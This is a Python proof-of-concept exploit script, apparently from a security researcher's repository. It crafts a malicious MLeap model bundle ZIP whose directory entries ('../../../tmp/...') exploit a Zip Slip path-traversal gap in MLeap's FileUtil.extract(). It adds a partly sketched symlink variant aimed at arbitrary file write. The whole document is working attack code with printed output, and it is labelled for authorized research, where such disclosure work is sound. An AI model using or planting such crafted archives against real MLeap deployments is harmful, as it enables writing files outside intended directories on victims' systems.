exploits / mleap /craft_zipslip_bundle.py
Zeiyre's picture
Upload mleap/craft_zipslip_bundle.py with huggingface_hub
ea00b9c verified
"""
PoC: MLeap Zip Slip Path Traversal β€” Directory Entry Bypass
============================================================
Crafts a malicious ZIP archive demonstrating how directory entries
bypass the path traversal check in FileUtil.extract().
The extract() method only validates file entries, not directory entries.
A ZIP with a directory entry like "../../../tmp/evil/" will create that
directory outside the extraction target without triggering the check.
Usage:
python craft_zipslip_bundle.py # Generate PoC ZIP
python craft_zipslip_bundle.py --verify # Show ZIP contents
This is for authorized security research only.
"""
import zipfile
import os
import argparse
def craft_zipslip_bundle(output_path="malicious_bundle.zip"):
"""
Create a ZIP archive with directory entries that bypass MLeap's
FileUtil.extract() path traversal validation.
The vulnerable code:
if (entry.isDirectory) {
Files.createDirectories(filePath) // NO PATH CHECK
} else {
// ... startsWith check only here ...
}
"""
with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED) as zf:
# 1. Legitimate bundle structure (so MLeap accepts it)
zf.writestr("bundle.json", '{"uid":"poc","name":"poc","format":"ml.combust.mleap.binary","version":"0.23.0"}')
zf.writestr("root/model.json", '{"op":"poc","attributes":{}}')
zf.writestr("root/saved_model.pb", b"fake saved model data")
# 2. Directory traversal entries β€” BYPASS the path check
# These are directory entries (trailing slash) which FileUtil.extract()
# processes with Files.createDirectories() WITHOUT path validation
# Create directory outside extraction target
dir_info = zipfile.ZipInfo("../../../tmp/mleap_poc_escaped/")
dir_info.external_attr = 0o755 << 16 # Unix directory permissions
zf.writestr(dir_info, "")
# Nested escape
dir_info2 = zipfile.ZipInfo("../../../tmp/mleap_poc_escaped/subdir/")
dir_info2.external_attr = 0o755 << 16
zf.writestr(dir_info2, "")
# 3. Symlink attack variant β€” plant a symlink via directory bypass,
# then a subsequent file entry follows the symlink
# (exploits the toRealPath/normalize mismatch in the file check)
symlink_dir = zipfile.ZipInfo("../../../tmp/mleap_poc_symlink/")
symlink_dir.external_attr = 0o755 << 16
zf.writestr(symlink_dir, "")
file_size = os.path.getsize(output_path)
print(f"[+] Malicious MLeap bundle written to: {output_path}")
print(f" Size: {file_size} bytes")
print()
print(" ZIP contents:")
with zipfile.ZipFile(output_path, "r") as zf:
for info in zf.infolist():
entry_type = "DIR " if info.filename.endswith("/") else "FILE"
bypass = " <-- BYPASSES PATH CHECK" if (info.filename.endswith("/") and ".." in info.filename) else ""
print(f" [{entry_type}] {info.filename}{bypass}")
print()
print("[!] When loaded by MLeap's FileUtil.extract():")
print(" - Directory entries skip path validation entirely")
print(" - ../../../tmp/mleap_poc_escaped/ is created outside extraction dir")
print(" - Can be chained with symlink to achieve arbitrary file write")
return output_path
def main():
parser = argparse.ArgumentParser(description="MLeap Zip Slip PoC")
parser.add_argument("-o", "--output", default="malicious_bundle.zip")
parser.add_argument("--verify", action="store_true",
help="Show ZIP contents and verify structure")
args = parser.parse_args()
path = craft_zipslip_bundle(args.output)
if args.verify:
print()
print("Verification β€” simulating FileUtil.extract() logic:")
with zipfile.ZipFile(path, "r") as zf:
dest = "/tmp/mleap_extraction_target"
for entry in zf.infolist():
file_path = os.path.normpath(os.path.join(dest, entry.filename))
if entry.filename.endswith("/"):
# Directory entry β€” MLeap does NO validation here
is_escape = not file_path.startswith(dest + os.sep)
status = "BYPASS β€” no check!" if is_escape else "safe (inside dest)"
print(f" DIR: {entry.filename}")
print(f" resolves to: {file_path}")
print(f" status: {status}")
else:
# File entry β€” MLeap DOES validate here
dest_canonical = os.path.normpath(dest)
entry_canonical = os.path.normpath(file_path)
passes_check = entry_canonical.startswith(dest_canonical + os.sep)
status = "allowed (passes check)" if passes_check else "BLOCKED"
print(f" FILE: {entry.filename}")
print(f" resolves to: {file_path}")
print(f" status: {status}")
print()
if __name__ == "__main__":
main()